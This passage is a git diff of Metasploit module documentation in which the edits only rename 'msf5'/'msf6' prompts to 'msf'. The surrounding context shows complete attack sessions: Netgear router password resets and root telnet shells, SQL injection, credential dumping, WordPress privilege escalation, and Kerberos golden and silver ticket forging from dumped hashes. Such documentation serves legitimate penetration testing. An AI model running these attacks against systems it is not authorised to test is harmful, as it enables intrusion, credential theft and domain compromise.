admin:theRiverOfNope123!. You should get a new telnet session as the root user [*] Command shell session 1 opened (192.168.224.128:45717 -> 192.168.1.1:23) at 2021-09-23 16:38:53 -0500 [*] Auxiliary module execution completed - msf6 auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > sessions -i 1 + msf auxiliary(admin/http/netgear_pnpx_getsharefolderlist_auth_bypass) > sessions -i 1 [*] Starting interaction with 1... diff --git a/documentation/modules/auxiliary/admin/http/netgear_r6700_pass_reset.md b/documentation/modules/auxiliary/admin/http/netgear_r6700_pass_reset.md index 1c1ed534592a7..1ff803d48354d 100644 --- a/documentation/modules/auxiliary/admin/http/netgear_r6700_pass_reset.md +++ b/documentation/modules/auxiliary/admin/http/netgear_r6700_pass_reset.md @@ -54,8 +54,8 @@ upnpd port on the target. Default 5000. ### Netgear R6700v3 firmware version V1.0.4.84_10.0.58 ``` - msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options + msf > use auxiliary/admin/http/netgear_r6700_pass_reset + msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options Module options (auxiliary/admin/http/netgear_r6700_pass_reset): @@ -67,13 +67,13 @@ upnpd port on the target. Default 5000. SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1 + msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check + msf auxiliary(admin/http/netgear_r6700_pass_reset) > check [*] Target is running firmware version 1.0.4.84 [*] 192.168.1.1:5000 - The target appears to be vulnerable. - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit + msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit [*] Running module against 192.168.1.1 [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.84_10.0.58) as the target. @@ -93,24 +93,24 @@ upnpd port on the target. Default 5000. [*] 2.7- run it and login with 'admin:' [*] 3- Enjoy your root shell! [*] Auxiliary module execution completed - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > + msf auxiliary(admin/http/netgear_r6700_pass_reset) > ``` Browsed to admin page and changed password to `testing123`, then in a new `msfconsole` session running as `root`, entered the following commands: ``` - msf5 > use exploit/linux/telnet/netgear_telnetenable + msf > use exploit/linux/telnet/netgear_telnetenable [*] No payload configured, defaulting to cmd/unix/interact - msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin + msf exploit(linux/telnet/netgear_telnetenable) > set username admin username => admin - msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123 + msf exploit(linux/telnet/netgear_telnetenable) > set password testing123 password => testing123 - msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9 + msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9 MAC => D56C89FC94C9 - msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1 + msf exploit(linux/telnet/netgear_telnetenable) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 - msf5 exploit(linux/telnet/netgear_telnetenable) > exploit + msf exploit(linux/telnet/netgear_telnetenable) > exploit [+] 192.168.1.1:23 - Detected telnetenabled on UDP [+] 192.168.1.1:23 - Using creds admin:testing123 @@ -147,8 +147,8 @@ session running as `root`, entered the following commands: ### Netgear R6700v3 firmware version V1.0.0.4.82_10.0.57 ``` - msf5 > use auxiliary/admin/http/netgear_r6700_pass_reset - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > show options + msf > use auxiliary/admin/http/netgear_r6700_pass_reset + msf auxiliary(admin/http/netgear_r6700_pass_reset) > show options Module options (auxiliary/admin/http/netgear_r6700_pass_reset): @@ -160,13 +160,13 @@ session running as `root`, entered the following commands: SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1 + msf auxiliary(admin/http/netgear_r6700_pass_reset) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > check + msf auxiliary(admin/http/netgear_r6700_pass_reset) > check [*] Target is running firmware version 1.0.4.82 [*] 192.168.1.1:5000 - The target appears to be vulnerable. - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > exploit + msf auxiliary(admin/http/netgear_r6700_pass_reset) > exploit [*] Running module against 192.168.1.1 [*] 192.168.1.1:5000 - Identified Netgear R6700v3 (firmware V1.0.0.4.82_10.0.57) as the target. @@ -186,16 +186,16 @@ session running as `root`, entered the following commands: [*] 2.7- run it and login with 'admin:' [*] 3- Enjoy your root shell! [*] Auxiliary module execution completed - msf5 auxiliary(admin/http/netgear_r6700_pass_reset) > + msf auxiliary(admin/http/netgear_r6700_pass_reset) > ``` Browsed to admin page and changed password to `testing123`, then in a new `msfconsole` session running as `root`, entered the following commands: ``` - msf5 > use exploit/linux/telnet/netgear_telnetenable + msf > use exploit/linux/telnet/netgear_telnetenable [*] No payload configured, defaulting to cmd/unix/interact - msf5 exploit(linux/telnet/netgear_telnetenable) > show options + msf exploit(linux/telnet/netgear_telnetenable) > show options Module options (exploit/linux/telnet/netgear_telnetenable): @@ -226,15 +226,15 @@ session running as `root`, entered the following commands: 0 Automatic (detect TCP or UDP) - msf5 exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1 + msf exploit(linux/telnet/netgear_telnetenable) > set RHOST 192.168.1.1 RHOST => 192.168.1.1 - set msf5 exploit(linux/telnet/netgear_telnetenable) > set username admin + set msf exploit(linux/telnet/netgear_telnetenable) > set username admin username => admin - msf5 exploit(linux/telnet/netgear_telnetenable) > set password testing123 + msf exploit(linux/telnet/netgear_telnetenable) > set password testing123 password => testing123 - msf5 exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9 + msf exploit(linux/telnet/netgear_telnetenable) > set MAC D56C89FC94C9 MAC => D56C89FC94C9 - msf5 exploit(linux/telnet/netgear_telnetenable) > exploit + msf exploit(linux/telnet/netgear_telnetenable) > exploit [+] 192.168.1.1:23 - Detected telnetenabled on UDP [+] 192.168.1.1:23 - Using creds admin:testing123 diff --git a/documentation/modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.md b/documentation/modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.md index 92f9339258008..b77e8ea2fc3f2 100644 --- a/documentation/modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.md +++ b/documentation/modules/auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce.md @@ -30,10 +30,10 @@ Netgear R7000 routers running firmware version `1.0.11.116` and earlier. ### Netgear R7000 with Firmware Version 1.0.11.116 ``` -msf6 > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce -msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > set RHOSTS 192.168.1.1 +msf > use auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce +msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options +msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > show options Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce): @@ -45,7 +45,7 @@ Module options (auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) SSL false no Negotiate SSL/TLS for outgoing connections VHOST no HTTP server virtual host -msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run +msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run [*] Running module against 192.168.1.1 [*] Executing automatic check (disable AutoCheck to override) @@ -54,7 +54,7 @@ msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > run [*] Sending 10th and final packet... [*] If the exploit succeeds, you should be able to connect to the telnet shell by running: telnet 192.168.1.1 [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > +msf auxiliary(admin/http/netgear_r7000_backup_cgi_heap_overflow_rce) > ``` And in a separate terminal shell: diff --git a/documentation/modules/auxiliary/admin/http/pihole_domains_api_exec.md b/documentation/modules/auxiliary/admin/http/pihole_domains_api_exec.md index 76ba7e3f5c757..30ee94e0c7ec1 100644 --- a/documentation/modules/auxiliary/admin/http/pihole_domains_api_exec.md +++ b/documentation/modules/auxiliary/admin/http/pihole_domains_api_exec.md @@ -73,9 +73,9 @@ resource (pihole.rb)> run [*] Forcing gravity pull [+] /var/www/html/admin/scripts/pi-hole/php [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/pihole_domains_api_exec) > set command whoami +msf auxiliary(admin/http/pihole_domains_api_exec) > set command whoami command => whoami -msf6 auxiliary(admin/http/pihole_domains_api_exec) > run +msf auxiliary(admin/http/pihole_domains_api_exec) > run [*] Running module against 192.168.2.199 [+] Web Interface Version Detected: 5.3.1 diff --git a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md index 74ae85ee052c3..1e9dd24a513dd 100644 --- a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md +++ b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md @@ -48,14 +48,14 @@ Wordlist file to crack password hashes (default: `./data/unix_passwords.txt`) ## Scenarios ``` -msf6 > use auxiliary/admin/http/scadabr_credential_dump -msf6 auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194 +msf > use auxiliary/admin/http/scadabr_credential_dump +msf auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194 rhosts => 172.16.191.194 -msf6 auxiliary(admin/http/scadabr_credential_dump) > set username admin +msf auxiliary(admin/http/scadabr_credential_dump) > set username admin username => admin -msf6 auxiliary(admin/http/scadabr_credential_dump) > set password admin +msf auxiliary(admin/http/scadabr_credential_dump) > set password admin password => admin -msf6 auxiliary(admin/http/scadabr_credential_dump) > run +msf auxiliary(admin/http/scadabr_credential_dump) > run [*] Running module against 172.16.191.194 [+] 172.16.191.194:8080 Authenticated successfully as 'admin' @@ -91,7 +91,7 @@ ScadaBR Service Credentials SMTP 127.0.0.1 25 smtptestuser smtptestpass [*] Auxiliary module execution completed -msf6 auxiliary(admin/http/scadabr_credential_dump) > creds +msf auxiliary(admin/http/scadabr_credential_dump) > creds Credentials =========== @@ -103,6 +103,6 @@ host origin service public private realm priv 172.16.191.194 172.16.191.194 8080/tcp (http) user A Password 172.16.191.194 172.16.191.194 8080/tcp (http) zxcv zxcv Password -msf6 auxiliary(admin/http/scadabr_credential_dump) > +msf auxiliary(admin/http/scadabr_credential_dump) > ``` diff --git a/documentation/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.md b/documentation/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.md index d51d06a427315..2a375abda1739 100644 --- a/documentation/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.md +++ b/documentation/modules/auxiliary/admin/http/supra_smart_cloud_tv_rfi.md @@ -18,12 +18,12 @@ Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system. ## Scenarios ``` -msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi -msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132 +msf > use auxiliary/admin/http/supra_smart_cloud_tv_rfi +msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set SRVHOST 192.168.1.132 SRVHOST => 192.168.1.132 -msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155 +msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > set RHOSTS 192.168.1.155 RHOSTS => 192.168.1.155 -msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run +msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run [*] Running module against 192.168.1.155 [*] Using URL: http://192.168.1.132:8080/ [*] Broadcasting Epic Sax Guy to 192.168.1.155:80 @@ -31,5 +31,5 @@ msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > run [*] Sleeping for 10s serving .m3u8 and .ts files... [*] Server stopped. [*] Auxiliary module execution completed -msf5 auxiliary(admin/http/supra_smart_cloud_tv_rfi) > +msf auxiliary(admin/http/supra_smart_cloud_tv_rfi) > ``` diff --git a/documentation/modules/auxiliary/admin/http/tomcat_ghostcat.md b/documentation/modules/auxiliary/admin/http/tomcat_ghostcat.md index 1c58717db71a6..498fd518dddf8 100644 --- a/documentation/modules/auxiliary/admin/http/tomcat_ghostcat.md +++ b/documentation/modules/auxiliary/admin/http/tomcat_ghostcat.md @@ -37,14 +37,14 @@ The port on the target that is running the Apache JServ Protocol (AJP). ### Apache Tomcat 8.5.32 ``` -msf6 > use auxiliary/admin/http/tomcat_ghostcat -msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 127.0.0.1 +msf > use auxiliary/admin/http/tomcat_ghostcat +msf auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8080 +msf auxiliary(admin/http/tomcat_ghostcat) > set RPORT 8080 RPORT => 8080 -msf6 auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml +msf auxiliary(admin/http/tomcat_ghostcat) > set FILENAME /WEB-INF/web.xml FILENAME => /WEB-INF/web.xml -msf6 auxiliary(admin/http/tomcat_ghostcat) > run +msf auxiliary(admin/http/tomcat_ghostcat) > run [*] Running module against 127.0.0.1 Status Code: 200 Accept-Ranges: bytes diff --git a/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md b/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md index 6330a66b89ac8..193fc51d55f59 100644 --- a/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md +++ b/documentation/modules/auxiliary/admin/http/typo3_news_module_sqli.md @@ -45,5 +45,5 @@ id => 37 [+] Username: admin [+] Password Hash: $P$Ch4lme3.gje9o.DjMip59baG7b/mIp. [*] Auxiliary module execution completed -msf5 auxiliary(admin/http/typo3_news_module_sqli) > +msf auxiliary(admin/http/typo3_news_module_sqli) > ``` diff --git a/documentation/modules/auxiliary/admin/http/ulterius_file_download.md b/documentation/modules/auxiliary/admin/http/ulterius_file_download.md index 4c899443b461d..d00fa4cc065f0 100644 --- a/documentation/modules/auxiliary/admin/http/ulterius_file_download.md +++ b/documentation/modules/auxiliary/admin/http/ulterius_file_download.md @@ -45,20 +45,20 @@ Note: If you are using relative paths, use three periods when traversing down a ### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64. ``` -msf5 > use auxiliary/admin/http/ulterius_file_download -msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122 +msf > use auxiliary/admin/http/ulterius_file_download +msf auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122 rhost => 172.22.222.122 -msf5 auxiliary(admin/http/ulterius_file_download) > run +msf auxiliary(admin/http/ulterius_file_download) > run [*] Starting to parse fileIndex.db... [*] Remote file paths saved in: filepath0 [*] Auxiliary module execution completed -msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt' +msf auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt' path => C:/users/pwnduser/desktop/tmp.txt -msf5 auxiliary(admin/http/ulterius_file_download) > run +msf auxiliary(admin/http/ulterius_file_download) > run [*] C:/users/pwnduser/desktop/tmp.txt [*] File contents saved: filepath1 [*] Auxiliary module execution completed -msf5 auxiliary(admin/http/ulterius_file_download) > +msf auxiliary(admin/http/ulterius_file_download) > ``` diff --git a/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md b/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md index 8ce2b6c03ceb5..cff55488b333c 100644 --- a/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md +++ b/documentation/modules/auxiliary/admin/http/whatsup_gold_sqli.md @@ -21,9 +21,9 @@ Installation instructions are available [here](https://docs.progress.com/bundle/ 2. Start `msfconsole` and run the following commands: ``` -msf6 > use auxiliary/admin/http/whatsup_gold_sqli -msf6 auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS -msf6 auxiliary(admin/http/whatsup_gold_sqli) > run +msf > use auxiliary/admin/http/whatsup_gold_sqli +msf auxiliary(admin/http/whatsup_gold_sqli) > set RHOSTS +msf auxiliary(admin/http/whatsup_gold_sqli) > run ``` This should update the password of the default `admin` account. @@ -41,7 +41,7 @@ The new password for the user Running the exploit against WhatsUp Gold v23.1.3 on Windows 22H2 should result in an output similar to the following: ``` -msf6 auxiliary(admin/http/whatsup_gold_sqli) > run +msf auxiliary(admin/http/whatsup_gold_sqli) > run [*] Running module against 192.168.217.143 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.md b/documentation/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.md index e5180a5190f9e..3d755beebb7d1 100644 --- a/documentation/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.md +++ b/documentation/modules/auxiliary/admin/http/wp_gdpr_compliance_privesc.md @@ -25,24 +25,24 @@ This module changes the admin email (optional) to prevent notification sending, ### Tested on Debian 9.6 running Wordpress 4.7.5 with WordPress GDPR Compliance plugin 1.4.2: ``` -msf5 > use auxiliary/admin/http/wp_gdpr_compliance_privesc -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true +msf > use auxiliary/admin/http/wp_gdpr_compliance_privesc +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set verbose true verbose => true -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145 +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set rhosts 172.22.222.145 rhosts => 172.22.222.145 -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > set email test@example.com email => test@example.com -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > check +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > check [*] Checking /wp-content/plugins/wp-gdpr-compliance/readme.txt [*] Found version 1.4.2 of the plugin [*] 172.22.222.145:80 The target appears to be vulnerable. -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > exploit [*] Getting security token from host... [!] Enabling user registrations... [!] Setting the default user role type to administrator... [*] Registering msfuser with email test@example.com [*] Auxiliary module execution completed -msf5 auxiliary(admin/http/wp_gdpr_compliance_privesc) > +msf auxiliary(admin/http/wp_gdpr_compliance_privesc) > ``` diff --git a/documentation/modules/auxiliary/admin/http/wp_google_maps_sqli.md b/documentation/modules/auxiliary/admin/http/wp_google_maps_sqli.md index 9f8809914f0be..8fd8db2c8a9c3 100644 --- a/documentation/modules/auxiliary/admin/http/wp_google_maps_sqli.md +++ b/documentation/modules/auxiliary/admin/http/wp_google_maps_sqli.md @@ -23,7 +23,7 @@ Change the table prefix. By default, this option is set to `wp_`. ### wp-google-maps 7.11.17 on WordPress 4.9.5 ``` -msf5 auxiliary(admin/http/wp_google_maps_sqli) > exploit +msf auxiliary(admin/http/wp_google_maps_sqli) > exploit [*] Running module against 172.22.222.144 [*] 172.22.222.144:80 - Trying to retrieve the wp_users table... diff --git a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md index 3ba1a4f01d8cb..4343b70d94eb9 100644 --- a/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md +++ b/documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md @@ -77,18 +77,18 @@ The username to perform a password reset against ### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker ``` -msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 +msf > use auxiliary/admin/http/wp_post_smtp_acct_takeover +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 rhost => 127.0.0.1 -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 rport => 5555 -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false ssl => false -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin username => admin -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true verbose => true -msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run +msf auxiliary(admin/http/wp_post_smtp_acct_takeover) > run [*] Running module against 127.0.0.1 [*] Running automatic check ("set AutoCheck false" to disable) @@ -102,4 +102,4 @@ msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run [+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt [+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md index 3a438fe5a07e6..7a36fc54c23c4 100644 --- a/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md +++ b/documentation/modules/auxiliary/admin/kerberos/forge_ticket.md @@ -63,8 +63,8 @@ For golden ticket attacks, the following information is required: One way of extracting the krbtgt account NTHASH is to run the `auxiliary/gather/windows_secrets_dump` module: ```msf -msf6 > use auxiliary/gather/windows_secrets_dump -msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local +msf > use auxiliary/gather/windows_secrets_dump +msf auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local [*] Running module against 192.168.123.13 [*] 192.168.123.13:445 - Service RemoteRegistry is already running @@ -102,7 +102,7 @@ ADF3\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:767400b2c71afa35a5dca216f2389cd With the above information a golden ticket can be forged: ```msf -msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=767400b2c71afa35a5dca216f2389cd9 user=Administrator +msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_GOLDEN domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=767400b2c71afa35a5dca216f2389cd9 user=Administrator [+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin [*] Auxiliary module execution completed @@ -149,8 +149,8 @@ Example Service Principal Names: One way of extracting the computer account NTHASH is to run the `auxiliary/gather/windows_secrets_dump` module: ```msf -msf6 > use auxiliary/gather/windows_secrets_dump -msf6 auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local +msf > use auxiliary/gather/windows_secrets_dump +msf auxiliary(gather/windows_secrets_dump) > run smb://adf3.local;Administrator:p4$$w0rd@dc3.adf3.local [*] Running module against 192.168.123.13 [*] 192.168.123.13:445 - Service RemoteRegistry is already running @@ -188,7 +188,7 @@ ADF3\DC3$:1001:aad3b435b51404eeaad3b435b51404ee:fbd103200439e14d4c8adad675d5f244 With the above information a silver ticket for SMB can be forged for the target host: ```msf -msf6 auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_SILVER domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=fbd103200439e14d4c8adad675d5f244 user=Administrator spn=cifs/dc3.adf3.local +msf auxiliary(admin/kerberos/forge_ticket) > run action=FORGE_SILVER domain=adf3.local domain_sid=S-1-5-21-1266190811-2419310613-1856291569 nthash=fbd103200439e14d4c8adad675d5f244 user=Administrator spn=cifs/dc3.adf3.local [+] MIT Credential Cache ticket saved on /Users/user/.msf4/loot/20220831223726_default_192.168.123.13_kerberos_ticket._550522.bin [*] Auxiliary module execution completed diff --git a/documentation/modules/auxiliary/admin/kerberos/get_ticket.md b/documentation/modules/auxiliary/admin/kerberos/get_ticket.md index 20f1fdc1dd93e..ecd784871e6b0 100644 --- a/documentation/modules/auxiliary/admin/kerberos/get_ticket.md +++ b/documentation/modules/auxiliary/admin/kerberos/get_ticket.md @@ -87,25 +87,25 @@ The Kerberos TGT to use when requesting the service ticket. If unset, the databa An example of viewing the Kerberos ticket cache, and requesting a TGT with NT hash: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > klist +msf auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== No tickets -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash= action=GET_TGT +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash= action=GET_TGT [*] Running module against 10.0.0.24 [+] 10.0.0.24:88 - Received a valid TGT-Response [*] 10.0.0.24:88 - TGT MIT Credential Cache saved on /home/msfuser/.msf4/loot/20221104181416_default_10.0.0.24_mit.kerberos.cca_912121.bin [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > klist +msf auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== host principal sname issued status path ---- --------- ----- ------ ------ ---- 192.168.123.13 Administrator@ADF3.LOCAL krbtgt/ADF3.LOCAL@ADF3.LOCAL 2023-01-12 19:37:54 +0000 valid /Users/usr/.msf4/loot/20230112193756_default_192.168.123.13_mit.kerberos.cca_131390.bin -msf6 auxiliary(admin/kerberos/get_ticket) > hosts +msf auxiliary(admin/kerberos/get_ticket) > hosts Hosts ===== @@ -114,7 +114,7 @@ address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 10.0.0.24 Unknown device -msf6 auxiliary(admin/kerberos/get_ticket) > services +msf auxiliary(admin/kerberos/get_ticket) > services Services ======== @@ -126,7 +126,7 @@ host port proto name state info TGT with encryption key ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY= action=GET_TGT +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator AES_KEY= action=GET_TGT [*] Running module against 10.0.0.24 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local @@ -138,7 +138,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do TGT with password ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password= action=GET_TGT +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator password= action=GET_TGT [*] Running module against 10.0.0.24 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local @@ -150,14 +150,14 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do TGT with certificate ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 cert_file=/home/msfuser/.msf4/loot/20230124155521_default_10.0.0.24_windows.ad.cs_384669.pfx action=GET_TGT +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 cert_file=/home/msfuser/.msf4/loot/20230124155521_default_10.0.0.24_windows.ad.cs_384669.pfx action=GET_TGT [*] Running module against 10.0.0.24 [*] 10.0.0.24:88 - Getting TGT for Administrator@mylab.local [+] 10.0.0.24:88 - Received a valid TGT-Response [*] 10.0.0.24:88 - TGT MIT Credential Cache ticket saved to /home/msfuser/.msf4/loot/20230124155555_default_192.168.159.10_mit.kerberos.cca_702818.bin [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > +msf auxiliary(admin/kerberos/get_ticket) > ``` ### Requesting a TGS @@ -165,7 +165,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > TGS with NT hash: ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash= action=GET_TGS spn=cifs/dc02.mylab.local +msf auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 domain=mylab.local username=Administrator nthash= action=GET_TGS spn=cifs/dc02.mylab.local [*] Running module against 10.0.0.24 [+] 10.0.0.24:88 - Received a valid TGT-Response @@ -173,7 +173,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > run verbose=true rhosts=10.0.0.24 do [+] 10.0.0.24:88 - Received a valid TGS-Response [*] 10.0.0.24:88 - TGS MIT Credential Cache saved to /home/msfuser/.msf4/loot/20221104182601_default_10.0.0.24_mit.kerberos.cca_883314.bin 